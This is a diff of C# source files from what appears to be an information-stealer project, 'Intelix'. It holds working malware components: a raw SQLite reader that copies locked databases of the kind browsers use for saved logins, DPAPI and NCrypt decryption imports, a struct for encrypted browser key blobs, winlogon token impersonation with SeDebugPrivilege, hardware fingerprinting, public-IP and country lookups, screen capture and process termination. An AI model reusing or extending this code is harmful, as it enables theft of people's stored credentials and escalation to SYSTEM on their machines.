dbEncoding = (long)_dbEncoding;
|
||||
long num11 = dbEncoding - 1;
|
||||
if ((ulong)num11 <= 2uL)
|
||||
{
|
||||
switch (num11)
|
||||
{
|
||||
case 0L:
|
||||
_masterTableEntries[num2 + (int)num3].ItemName = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]);
|
||||
break;
|
||||
case 1L:
|
||||
_masterTableEntries[num2 + (int)num3].ItemName = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]);
|
||||
break;
|
||||
case 2L:
|
||||
_masterTableEntries[num2 + (int)num3].ItemName = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
_masterTableEntries[num2 + (int)num3].RootNum = (long)ConvertToULong((int)((long)num7 + num10 + array[0] + array[1] + array[2]), (int)array[3]);
|
||||
dbEncoding = (long)_dbEncoding;
|
||||
long num12 = dbEncoding - 1;
|
||||
if ((ulong)num12 <= 2uL)
|
||||
{
|
||||
switch (num12)
|
||||
{
|
||||
case 0L:
|
||||
_masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]);
|
||||
break;
|
||||
case 1L:
|
||||
_masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]);
|
||||
break;
|
||||
case 2L:
|
||||
_masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
offset = (long)((ConvertToULong((int)offset + 8, 4) - 1) * _pageSize);
|
||||
}
|
||||
}
|
||||
|
||||
public bool ReadTable(string tableName)
|
||||
{
|
||||
int num = -1;
|
||||
for (int i = 0; i <= _masterTableEntries.Length; i++)
|
||||
{
|
||||
if (string.Compare(_masterTableEntries[i].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0)
|
||||
{
|
||||
num = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (num == -1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
string[] array = _masterTableEntries[num].SqlStatement.Substring(_masterTableEntries[num].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(',');
|
||||
for (int j = 0; j <= array.Length - 1; j++)
|
||||
{
|
||||
array[j] = array[j].TrimStart();
|
||||
int num2 = array[j].IndexOf(' ');
|
||||
if (num2 > 0)
|
||||
{
|
||||
array[j] = array[j].Substring(0, num2);
|
||||
}
|
||||
if (array[j].IndexOf("UNIQUE", StringComparison.Ordinal) != 0)
|
||||
{
|
||||
Array.Resize(ref _fieldNames, j + 1);
|
||||
_fieldNames[j] = array[j];
|
||||
}
|
||||
}
|
||||
return ReadTableFromOffset((ulong)(_masterTableEntries[num].RootNum - 1) * _pageSize);
|
||||
}
|
||||
|
||||
private ulong ConvertToULong(int startIndex, int size)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (size > 8 || size == 0)
|
||||
{
|
||||
return 0uL;
|
||||
}
|
||||
ulong num = 0uL;
|
||||
for (int i = 0; i <= size - 1; i++)
|
||||
{
|
||||
num = (num << 8) | _fileBytes[startIndex + i];
|
||||
}
|
||||
return num;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return 0uL;
|
||||
}
|
||||
}
|
||||
|
||||
private int Gvl(int startIdx)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (startIdx > _fileBytes.Length)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
for (int i = startIdx; i <= startIdx + 8; i++)
|
||||
{
|
||||
if (i > _fileBytes.Length - 1)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
if ((_fileBytes[i] & 0x80) != 128)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return startIdx + 8;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
private long Cvl(int startIdx, int endIdx)
|
||||
{
|
||||
try
|
||||
{
|
||||
endIdx++;
|
||||
byte[] array = new byte[8];
|
||||
int num = endIdx - startIdx;
|
||||
bool flag = false;
|
||||
if (num == 0 || num > 9)
|
||||
{
|
||||
return 0L;
|
||||
}
|
||||
switch (num)
|
||||
{
|
||||
case 1:
|
||||
array[0] = (byte)(_fileBytes[startIdx] & 0x7F);
|
||||
return BitConverter.ToInt64(array, 0);
|
||||
case 9:
|
||||
flag = true;
|
||||
break;
|
||||
}
|
||||
int num2 = 1;
|
||||
int num3 = 7;
|
||||
int num4 = 0;
|
||||
if (flag)
|
||||
{
|
||||
array[0] = _fileBytes[endIdx - 1];
|
||||
endIdx--;
|
||||
num4 = 1;
|
||||
}
|
||||
for (int i = endIdx - 1; i >= startIdx; i += -1)
|
||||
{
|
||||
if (i - 1 >= startIdx)
|
||||
{
|
||||
array[num4] = (byte)(((_fileBytes[i] >> num2 - 1) & (255 >> num2)) | (_fileBytes[i - 1] << num3));
|
||||
num2++;
|
||||
num4++;
|
||||
num3--;
|
||||
}
|
||||
else if (!flag)
|
||||
{
|
||||
array[num4] = (byte)((_fileBytes[i] >> num2 - 1) & (255 >> num2));
|
||||
}
|
||||
}
|
||||
return BitConverter.ToInt64(array, 0);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return 0L;
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsOdd(long value)
|
||||
{
|
||||
return (value & 1) == 1;
|
||||
}
|
||||
|
||||
public static SqLite ReadTable(string database, string table)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = Path.GetTempFileName() + ".tmpdb";
|
||||
File.Copy(database, text);
|
||||
SqLite sqLite = new SqLite(text);
|
||||
sqLite.ReadTable(table);
|
||||
File.Delete(text);
|
||||
return (sqLite.GetRowCount() == 65536) ? null : sqLite;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,14 @@
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public class BlobParsedData
|
||||
{
|
||||
public byte Flag { get; set; }
|
||||
|
||||
public byte[] Iv { get; set; }
|
||||
|
||||
public byte[] Ciphertext { get; set; }
|
||||
|
||||
public byte[] Tag { get; set; }
|
||||
|
||||
public byte[] EncryptedAesKey { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
using System.Threading;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public struct ConcurrentLong
|
||||
{
|
||||
private long _value;
|
||||
|
||||
public long Value
|
||||
{
|
||||
get
|
||||
{
|
||||
return Interlocked.Read(ref _value);
|
||||
}
|
||||
set
|
||||
{
|
||||
Interlocked.Exchange(ref _value, value);
|
||||
}
|
||||
}
|
||||
|
||||
public ConcurrentLong(long initial)
|
||||
{
|
||||
_value = initial;
|
||||
}
|
||||
|
||||
public static ConcurrentLong operator ++(ConcurrentLong x)
|
||||
{
|
||||
Interlocked.Increment(ref x._value);
|
||||
return x;
|
||||
}
|
||||
|
||||
public static ConcurrentLong operator --(ConcurrentLong x)
|
||||
{
|
||||
Interlocked.Decrement(ref x._value);
|
||||
return x;
|
||||
}
|
||||
|
||||
public static implicit operator long(ConcurrentLong x)
|
||||
{
|
||||
return x.Value;
|
||||
}
|
||||
|
||||
public static implicit operator ConcurrentLong(long v)
|
||||
{
|
||||
return new ConcurrentLong(v);
|
||||
}
|
||||
|
||||
public static ConcurrentLong operator +(ConcurrentLong x, long y)
|
||||
{
|
||||
Interlocked.Add(ref x._value, y);
|
||||
return x;
|
||||
}
|
||||
|
||||
public static ConcurrentLong operator -(ConcurrentLong x, long y)
|
||||
{
|
||||
Interlocked.Add(ref x._value, -y);
|
||||
return x;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class CpuInfo
|
||||
{
|
||||
public static string GetName()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
|
||||
return (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
public static int GetLogicalCores()
|
||||
{
|
||||
try
|
||||
{
|
||||
return Environment.ProcessorCount;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,186 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class HwidGenerator
|
||||
{
|
||||
private static string _hwid;
|
||||
|
||||
private static readonly object _lock = new object();
|
||||
|
||||
public static string GetHwid()
|
||||
{
|
||||
if (_hwid != null)
|
||||
{
|
||||
return _hwid;
|
||||
}
|
||||
lock (_lock)
|
||||
{
|
||||
if (_hwid != null)
|
||||
{
|
||||
return _hwid;
|
||||
}
|
||||
List<string> list = new List<string>();
|
||||
string mg = null;
|
||||
string cpuName = null;
|
||||
List<string> vols = null;
|
||||
List<string> macs = null;
|
||||
Task task = Task.Run(delegate
|
||||
{
|
||||
mg = GetMachineGuid();
|
||||
});
|
||||
Task task2 = Task.Run(delegate
|
||||
{
|
||||
cpuName = GetCpuName();
|
||||
});
|
||||
Task task3 = Task.Run(delegate
|
||||
{
|
||||
vols = GetFixedVolumeSerials();
|
||||
});
|
||||
Task task4 = Task.Run(delegate
|
||||
{
|
||||
macs = GetMacAddresses();
|
||||
});
|
||||
Task.WaitAll(task, task2, task3, task4);
|
||||
if (!string.IsNullOrEmpty(mg))
|
||||
{
|
||||
list.Add("MG:" + mg);
|
||||
}
|
||||
if (!string.IsNullOrEmpty(cpuName))
|
||||
{
|
||||
list.Add("CPU:" + cpuName);
|
||||
}
|
||||
list.Add("Cores:" + Environment.ProcessorCount);
|
||||
if (vols != null && vols.Count > 0)
|
||||
{
|
||||
list.Add("VOLS:" + string.Join(",", vols));
|
||||
}
|
||||
if (macs != null && macs.Count > 0)
|
||||
{
|
||||
list.Add("MACS:" + string.Join(",", macs));
|
||||
}
|
||||
list.Add("MN:" + Environment.MachineName);
|
||||
_hwid = ComputeSha256(string.Join("|", list));
|
||||
return _hwid;
|
||||
}
|
||||
}
|
||||
|
||||
private static string ComputeSha256(string input)
|
||||
{
|
||||
using SHA256 sHA = SHA256.Create();
|
||||
byte[] array = sHA.ComputeHash(Encoding.UTF8.GetBytes(input));
|
||||
StringBuilder stringBuilder = new StringBuilder(array.Length * 2);
|
||||
byte[] array2 = array;
|
||||
foreach (byte b in array2)
|
||||
{
|
||||
stringBuilder.Append(b.ToString("x2"));
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
private static string GetMachineGuid()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography"))
|
||||
{
|
||||
string text = registryKey?.GetValue("MachineGuid") as string;
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
return text.Trim();
|
||||
}
|
||||
}
|
||||
using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography");
|
||||
return (registryKey2?.GetValue("MachineGuid") as string)?.Trim() ?? "";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetCpuName()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
|
||||
string text = registryKey?.GetValue("ProcessorNameString") as string;
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
return text.Trim();
|
||||
}
|
||||
return (registryKey?.GetValue("VendorIdentifier") as string)?.Trim() ?? "";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private static List<string> GetFixedVolumeSerials()
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
try
|
||||
{
|
||||
DriveInfo[] drives = DriveInfo.GetDrives();
|
||||
foreach (DriveInfo driveInfo in drives)
|
||||
{
|
||||
if (driveInfo.DriveType == DriveType.Fixed && driveInfo.IsReady)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder(261);
|
||||
StringBuilder stringBuilder2 = new StringBuilder(261);
|
||||
if (NativeMethods.GetVolumeInformation(driveInfo.RootDirectory.FullName, stringBuilder, stringBuilder.Capacity, out var lpVolumeSerialNumber, out var _, out var _, stringBuilder2, stringBuilder2.Capacity))
|
||||
{
|
||||
list.Add(lpVolumeSerialNumber.ToString("X8").ToLowerInvariant());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static List<string> GetMacAddresses()
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
try
|
||||
{
|
||||
NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
|
||||
foreach (NetworkInterface networkInterface in allNetworkInterfaces)
|
||||
{
|
||||
if (networkInterface.OperationalStatus != OperationalStatus.Up)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
byte[] addressBytes = networkInterface.GetPhysicalAddress().GetAddressBytes();
|
||||
if (addressBytes.Length == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
for (int j = 0; j < addressBytes.Length; j++)
|
||||
{
|
||||
if (j > 0)
|
||||
{
|
||||
stringBuilder.Append(':');
|
||||
}
|
||||
stringBuilder.Append(addressBytes[j].ToString("x2"));
|
||||
}
|
||||
list.Add(stringBuilder.ToString());
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return list;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class ImpersonationHelper
|
||||
{
|
||||
private class ImpersonationContext : IDisposable
|
||||
{
|
||||
public void Dispose()
|
||||
{
|
||||
NativeMethods.RevertToSelf();
|
||||
}
|
||||
}
|
||||
|
||||
private const uint TOKEN_DUPLICATE = 2u;
|
||||
|
||||
private const uint TOKEN_IMPERSONATE = 4u;
|
||||
|
||||
private const uint TOKEN_QUERY = 8u;
|
||||
|
||||
private const uint TOKEN_ADJUST_PRIVILEGES = 32u;
|
||||
|
||||
private const uint SecurityImpersonation = 2u;
|
||||
|
||||
private const uint TokenImpersonation = 2u;
|
||||
|
||||
private const uint SE_PRIVILEGE_ENABLED = 2u;
|
||||
|
||||
public static IDisposable ImpersonateWinlogon()
|
||||
{
|
||||
IntPtr TokenHandle = IntPtr.Zero;
|
||||
IntPtr phNewToken = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
EnableDebugPrivilege();
|
||||
if (!NativeMethods.OpenProcessToken((Process.GetProcessesByName("winlogon").FirstOrDefault() ?? throw new Exception("Процесс winlogon.exe не найден")).Handle, 14u, out TokenHandle))
|
||||
{
|
||||
throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка OpenProcessToken");
|
||||
}
|
||||
if (!NativeMethods.DuplicateTokenEx(TokenHandle, 12u, IntPtr.Zero, 2u, 2u, out phNewToken))
|
||||
{
|
||||
throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка DuplicateTokenEx");
|
||||
}
|
||||
if (!NativeMethods.ImpersonateLoggedOnUser(phNewToken))
|
||||
{
|
||||
throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка ImpersonateLoggedOnUser");
|
||||
}
|
||||
return new ImpersonationContext();
|
||||
}
|
||||
catch
|
||||
{
|
||||
if (phNewToken != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.CloseHandle(phNewToken);
|
||||
}
|
||||
if (TokenHandle != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.CloseHandle(TokenHandle);
|
||||
}
|
||||
NativeMethods.RevertToSelf();
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
private static void EnableDebugPrivilege()
|
||||
{
|
||||
IntPtr TokenHandle = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
if (!NativeMethods.OpenProcessToken(NativeMethods.GetCurrentProcess(), 40u, out TokenHandle))
|
||||
{
|
||||
int lastWin32Error = Marshal.GetLastWin32Error();
|
||||
throw new Win32Exception(lastWin32Error, $"Ошибка OpenProcessToken: Код ошибки {lastWin32Error}");
|
||||
}
|
||||
NativeMethods.LUID lpLuid = default(NativeMethods.LUID);
|
||||
if (!NativeMethods.LookupPrivilegeValue(null, "SeDebugPrivilege", ref lpLuid))
|
||||
{
|
||||
int lastWin32Error2 = Marshal.GetLastWin32Error();
|
||||
throw new Win32Exception(lastWin32Error2, $"Ошибка LookupPrivilegeValue: Код ошибки {lastWin32Error2}");
|
||||
}
|
||||
NativeMethods.TOKEN_PRIVILEGES NewState = new NativeMethods.TOKEN_PRIVILEGES
|
||||
{
|
||||
PrivilegeCount = 1u,
|
||||
Luid = lpLuid,
|
||||
Attributes = 2u
|
||||
};
|
||||
if (!NativeMethods.AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, (uint)Marshal.SizeOf(typeof(NativeMethods.TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero))
|
||||
{
|
||||
int lastWin32Error3 = Marshal.GetLastWin32Error();
|
||||
throw new Win32Exception(lastWin32Error3, $"Ошибка AdjustTokenPrivileges: Код ошибки {lastWin32Error3}");
|
||||
}
|
||||
int lastWin32Error4 = Marshal.GetLastWin32Error();
|
||||
if (lastWin32Error4 != 0)
|
||||
{
|
||||
throw new Win32Exception(lastWin32Error4, $"AdjustTokenPrivileges вернул успех, но установил код ошибки {lastWin32Error4}");
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (TokenHandle != IntPtr.Zero)
|
||||
{
|
||||
NativeMethods.CloseHandle(TokenHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class IpApi
|
||||
{
|
||||
private static string _cachedIp;
|
||||
private static string _cachedCountryCode;
|
||||
|
||||
private static readonly object _lock = new object();
|
||||
|
||||
public static string GetPublicIp()
|
||||
{
|
||||
if (!string.IsNullOrEmpty(_cachedIp))
|
||||
{
|
||||
return _cachedIp;
|
||||
}
|
||||
lock (_lock)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(_cachedIp))
|
||||
{
|
||||
return _cachedIp;
|
||||
}
|
||||
try
|
||||
{
|
||||
using WebClient webClient = new WebClient();
|
||||
string text = webClient.DownloadString("http://icanhazip.com");
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
_cachedIp = text.Trim();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
_cachedIp = "Request failed";
|
||||
}
|
||||
return _cachedIp;
|
||||
}
|
||||
}
|
||||
|
||||
public static string GetCountryCode()
|
||||
{
|
||||
if (!string.IsNullOrEmpty(_cachedCountryCode))
|
||||
{
|
||||
return _cachedCountryCode;
|
||||
}
|
||||
lock (_lock)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(_cachedCountryCode))
|
||||
{
|
||||
return _cachedCountryCode;
|
||||
}
|
||||
try
|
||||
{
|
||||
using WebClient webClient = new WebClient();
|
||||
webClient.Encoding = Encoding.UTF8;
|
||||
string response = webClient.DownloadString("http://ip-api.com/line/?fields=countryCode");
|
||||
if (!string.IsNullOrEmpty(response))
|
||||
{
|
||||
_cachedCountryCode = response.Trim();
|
||||
}
|
||||
else
|
||||
{
|
||||
_cachedCountryCode = "XX";
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
_cachedCountryCode = "XX";
|
||||
}
|
||||
return _cachedCountryCode;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using System.Threading;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class MutexControl
|
||||
{
|
||||
public static Mutex currentApp;
|
||||
|
||||
public static bool createdNew;
|
||||
|
||||
public static bool CreateMutex(string mtx)
|
||||
{
|
||||
currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew);
|
||||
return createdNew;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper;
|
||||
|
||||
public static class NativeMethods
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct CryptprotectPromptstruct
|
||||
{
|
||||
public int cbSize;
|
||||
|
||||
public int dwPromptFlags;
|
||||
|
||||
public IntPtr hwndApp;
|
||||
|
||||
public string szPrompt;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct DataBlob
|
||||
{
|
||||
public int cbData;
|
||||
|
||||
public IntPtr pbData;
|
||||
}
|
||||
|
||||
public struct LUID
|
||||
{
|
||||
public uint LowPart;
|
||||
|
||||
public int HighPart;
|
||||
}
|
||||
|
||||
public struct TOKEN_PRIVILEGES
|
||||
{
|
||||
public uint PrivilegeCount;
|
||||
|
||||
public LUID Luid;
|
||||
|
||||
public uint Attributes;
|
||||
}
|
||||
|
||||
public struct MEMORYSTATUSEX
|
||||
{
|
||||
public uint dwLength;
|
||||
|
||||
public uint dwMemoryLoad;
|
||||
|
||||
public ulong ullTotalPhys;
|
||||
|
||||
public ulong ullAvailPhys;
|
||||
|
||||
public ulong ullTotalPageFile;
|
||||
|
||||
public ulong ullAvailPageFile;
|
||||
|
||||
public ulong ullTotalVirtual;
|
||||
|
||||
public ulong ullAvailVirtual;
|
||||
|
||||
public ulong ullAvailExtendedVirtual;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct DISPLAY_DEVICE
|
||||
{
|
||||
public int cb;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
|
||||
public string DeviceName;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||||
public string DeviceString;
|
||||
|
||||
public uint StateFlags;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||||
public string DeviceID;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||||
public string DeviceKey;
|
||||
}
|
||||
|
||||
public struct PROCESS_MEMORY_COUNTERS_EX
|
||||
{
|
||||
public uint cb;
|
||||
|
||||
public uint PageFaultCount;
|
||||
|
||||
public UIntPtr PeakWorkingSetSize;
|
||||
|
||||
public UIntPtr WorkingSetSize;
|
||||
|
||||
public UIntPtr QuotaPeakPagedPoolUsage;
|
||||
|
||||
public UIntPtr QuotaPagedPoolUsage;
|
||||
|
||||
public UIntPtr QuotaPeakNonPagedPoolUsage;
|
||||
|
||||
public UIntPtr QuotaNonPagedPoolUsage;
|
||||
|
||||
public UIntPtr PagefileUsage;
|
||||
|
||||
public UIntPtr PeakPagefileUsage;
|
||||
|
||||
public UIntPtr PrivateUsage;
|
||||
}
|
||||
|
||||
[DllImport("psapi.dll", SetLastError = true)]
|
||||
public static extern bool GetProcessMemoryInfo(IntPtr hProcess, out PROCESS_MEMORY_COUNTERS_EX ppsmemCounters, uint cb);
|
||||
|
||||
[DllImport("psapi.dll", SetLastError = true)]
|
||||
public static extern bool EnumProcesses([Out] uint[] lpidProcess, uint cb, out uint lpcbNeeded);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool GetVolumeInformation(string lpRootPathName, StringBuilder lpVolumeNameBuffer, int nVolumeNameSize, out uint lpVolumeSerialNumber, out uint lpMaximumComponentLength, out uint lpFileSystemFlags, StringBuilder lpFileSystemNameBuffer, int nFileSystemNameSize);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool GlobalMemoryStatusEx(ref MEMORYSTATUSEX lpBuffer);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
|
||||
public static extern bool EnumDisplayDevices(string lpDevice, uint iDevNum, ref DISPLAY_DEVICE lpDisplayDevice, uint dwFlags);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize);
|
||||
|
||||
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
|
||||
public static extern int NCryptOpenStorageProvider(out IntPtr phProvider, string pszProviderName, int dwFlags);
|
||||
|
||||
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
|
||||
public static extern int NCryptOpenKey(IntPtr hProvider, out IntPtr phKey, string pszKeyName, int dwLegacyKeySpec, int dwFlags);
|
||||
|
||||
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
|
||||
public static extern int NCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags);
|
||||
|
||||
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
|
||||
public static extern int NCryptFreeObject(IntPtr hObject);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetDesktopWindow();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowDC(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int ReleaseDC(IntPtr hWnd, IntPtr hDC);
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder exeName, ref uint lpdwSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern bool CryptUnprotectData(ref DataBlob pDataIn, ref string ppszDataDescr, ref DataBlob pOptionalEntropy, IntPtr pvReserved, ref CryptprotectPromptstruct pPromptStruct, int dwFlags, ref DataBlob pDataOut);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool RevertToSelf();
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, ref LUID lpLuid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
